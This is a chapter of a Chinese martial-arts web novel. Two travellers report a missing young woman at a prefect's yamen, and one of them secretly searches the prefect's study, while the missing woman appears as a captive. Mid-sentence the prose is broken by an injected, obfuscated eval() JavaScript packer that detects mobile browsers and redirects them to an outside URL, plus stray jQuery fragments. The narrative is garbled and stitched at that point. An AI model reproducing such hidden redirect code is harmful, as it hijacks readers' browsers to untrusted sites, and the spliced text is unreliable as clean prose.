登闻鼓在衙门口,应逐星和叶婵问了一路,走了几条街,总算找到官府了。二人心有灵犀地对视了一眼,双方都没有再进一步。
似他们这般的江湖人士,为了避免麻烦,向来不和官府打交道。路遇不平常拔剑相助时,若是有官兵追来,他们一般也要跟着跑路。
山外谷在西南,大昭的官府还管不到那里去。
而应逐星素日里自由散漫惯了,他装模作样地理了理衣衫,登闻鼓立在左侧的镇石后面,这鼓该不会落灰了吧。
应天府鱼龙混杂,知府大人一定公务繁忙,有空管他们这档子事吗。
叶婵也跟着理了理自己的衣衫,二人欲盖弥彰。叶婵动手推了应逐星一把,他踉跄地往前走了两步,脚尖撞到了到了石阶上。
应逐星立马惴惴不安地回头,只有叶婵没有管他,转头在隔壁翻墙而过,明目张胆地潜入了官府。
这是...做什么!来的时候没说要偷进官府呀,这人怎么不打招呼呀。
应逐星瞠目结舌,他立马拿起鼓槌敲了三下,好在这条街上没多少行人,没人发现两人的奇怪。
咚!咚!咚!
急促的鼓声传到了门内,值班衙役闻声而至,来者厉声道:“你的诉状呢?”
应逐星低头看自己两手空空,头次报官没什么经验,他不知道要带诉状。应逐星硬着头皮道:“在下是个粗人不识字。”
值班衙役狐疑地绕看了一圈,出声警告道:“谁家的郎君敢来官府消遣?”
这衣着模样怎么会是个不识字的,
“是真的。”应逐星急切凑上前,“草民有冤情。”
衙役不经意躲过来人伸过来的手,应逐星的意图落了空,他面上焦急,“是这样的官爷,草名的....表妹年前途径应天后杳无音讯,我特意来此报官寻人。”
应逐星和霍昭同岁,不知谁月份大,姑且算他年长,认他做表兄吧。
衙役抓着重点询问了两句,“年前?这都过了多久了,她或许不在应天府了。”
应逐星使劲掐了一下自己的虎口,他言语悲切肯定,“她肯定在应天,前些日子家中收到消息,有人说她此前就在这里。”
青年一副认定死理的模样令人费解,但本着职责,衙役还是领着人去了吏部礼房找文书代写。
礼房没有临窗的地方有些暗,桌上还点着油灯,代写的先生提笔问道:“失踪的那位娘子姓甚名谁,籍贯何处?”
“她叫霍昭,江州人氏。”应逐星将来龙去脉飞快地讲了一遍,“年前途径应天,大约失踪了快六个月了。”
霍昭失踪一事会被写成案卷归档入库,应逐星坐立难安地看着代写的先生一笔一划写得格外仔细,他问:“最近失踪的人多吗?”
年过花甲的先生顿了顿笔,幽幽道:“天下动荡,前朝的户籍归档入库后,有很多人都失踪了。”
阮知事在衙门当了很多年的九品官,熬走了一任又一任的知府。
新任知府是去年从上京国子监过来的。
应逐星耐不住性子,“这几年失踪的人多吗?”
阮知事直言道:“每年都会有人失踪,但大都不了了之。”应天府这么大,衙门寻人不易,没有消息也只能不了了之。
他不懂又接着问:“知府什么时候会升堂?”
送应逐星来的衙役道:“等衙门探查后,若案情重大,知府大人会升堂问询的。”
镇纸下壮志的墨水未干,应逐星看着那一手整齐的小楷,有些茫然。
寻常人遇到的险境,在诉纸上被一笔带过。
芸芸众生自顾不暇,那些失踪的人还活着吗。等不到的官府消息,却是他们唯一的指望,应逐星蓦地觉得有些可悲。
阮知事见状给他倒了一杯清水,“小郎君莫急,衙门自当会尽力。”
应逐星心里已经没了指望,阮知事又翻出一张新纸要画像,“那位小娘子长什么模样?”
他站起来比划了一下身高,霍昭大概到他肩头,持剑可攻他面中。
阮知事愣了一下,应逐星冥思苦想道,“杏脸桃腮,手臂纤长,力约有百斤...”
衙役听着也皱了皱眉,哪家的小娘子力有百斤。应逐星似乎有些夸大其词,他又道:“估计是明月山没什么太阳,她长的很白净,没有眼歪嘴斜。”
“挺清秀的一个小姑娘。”
“.....”这样模糊的形容阮知事也习惯了,他信手拈来画了几张张画像拿给应逐星辨认,大致像个五六分吧。
人群里没有眼歪嘴斜的小娘子,大致都长这样模样。
事毕,衙役要送人出去。应逐星捏着阮知事的画端详,总觉得画上的霍昭差几分神韵。
那双眼睛....
少女似狸奴般狡黠。
*
孟夏草木长,知府衙门里没有种花,稀疏的树木遮不住个人影。
叶婵径直翻过了大堂,不管在礼房写诉状的应逐星。人到了知府的后院,她翻了一圈知府的书房,除了一枚私印,上面刻着临舟二字,便没有其他的。
此来应天,李清河有一件事要叶婵办,与之交换便是沈难的这三年的所有行踪。
姜水送来了一张纸,上面有一枚印记,叶婵要找到这枚印记的主人。李清河觉得这人在官府,叶婵便想着来看看,顺便报个案。
叶婵将书房的东西物归原位,墙上挂着的水墨丹青没有落款,她上前摸了摸画,不是新画。
难道也是那位无名画师,那副落仙图中神女的花钿,好像印章图样。
那人光明正大地作画,天下楼十日前就已经挂上了画。
这分明是故意引诱烟雨楼的人前来寻他,但李清河手里没有消息,足以见那人行事缜密。
无功而返,叶婵默默退出书房,她躲在长廊的木梁上,心里实在有些不悦。
怎么李清河的事这么麻烦,烟雨楼的人都是废物不成。
知府书房隔壁的院子,只有一颗孤零零的树。
有个小娘子慢悠悠地躺在摇椅上晒太阳,一个人影从窜到了自己的视线。她雀跃地喊道:“姑娘,你是哪的?”
叶婵翻上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12449237|128881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房脊一扭头,院子里的人正目不转睛地看着自己,两人面面相觑。
她气闷,一跃到了院中树。
躺椅上的小娘子丝毫没有被吓到,那双秋波盈盈的双眼似乎对她很有兴趣。
叶婵言简意赅,“烟雨楼。”
空荡的院子被阳光和树影填满,小娘子闻言微微动弹,挣扎不到半刻又躺了回去。鹅黄的衣衫下有东西在蠕动,隐约有微弱的呻吟。
她不动声色安抚了一下怀里的小狸奴,望向叶婵手里的剑,“我想买个消息。”
叶婵随口一问:"什么消息?”
小娘子眸色渐冷,“我想知道,应天府谁在买卖女子?”
阳光透过树叶瞬间变得刺眼,少女明亮的眼睛微微眯起,四肢百骸似乎还浸泡在无边的黑暗里。
羸弱的肩头时不时钝痛,铁锈的气味随着记忆,紧紧贴在在鼻尖。
冷静的人坐在树上,叶婵却道:“我这里没有消息,要买消息要去临泉找个戴铁面具的人,他叫李清河。”
小娘子望向那个清冷的女子,“没有消息,你就是贼。”
她随即不管不顾地喊了起来,“来人呀,抓贼呀!”
叶婵站起来拍了拍裙摆的尘土,冷声道:“你是谁?”
小娘子道:“我是知府的侍卫,你去他的书房干什么?”
“我什么都没动。”叶婵无奈留下了一句话。还不等官府的人来抓,她便离开了。没想到都要走了,还能被人发现,真是时运不济。
应逐星在墙角蹲着等叶婵出来,叶婵一出现就拽着他离开。两人又是一路狂奔,应逐星管不得手中的素纸被风刮皱,画像中人面容扭曲变形。
叶婵走后,院中人便没有再喊。
一看就是一个高手,那行云流水的轻功,霍昭就算没有受伤都不一定追得上。
霍昭勉强动了动生疏的手腕,僵硬的四肢仿佛在提醒自己,她现在受制于人,去留不由己。
怀中的小狸奴发出呜咽,霍昭用手指顺了顺小家伙身上的毛,“你别动了,我身上疼。”
她自己跟小狸奴絮叨,“你可前往不能被他发现,那人不喜欢活物。”
霍昭心里涌现了不好的感觉,他会将狸奴丢出去的,
狸奴,狸奴....小家伙寄人篱下,她也寄人篱下。
霍昭不知,这日子什么时候才能到头。
南浔的子母蛊出现在应天府,十五年前影月教被名门正派围剿,青阳宗在善后时一把火将那些毒物都烧了干净。
多年前的老黄历了,不知这些东西怎么会从西南流窜到此,又行害人之事。
霍昭回忆起暗娼坊的日子,那蛊虫似乎在身体里蠢蠢欲动,时刻等待母蛊的召唤。
在自己都没注意的时候,贵人不期而至
书生打扮的郎君将银铃藏在了腰后,宽大的衣衫掩住了,偶听一声沉闷的动静。
霍昭回眸,她瞧见了裴度,这人如明镜止水。
三年前,这人还是个蝼蚁...
三年后,她如狸奴,他可定她生死。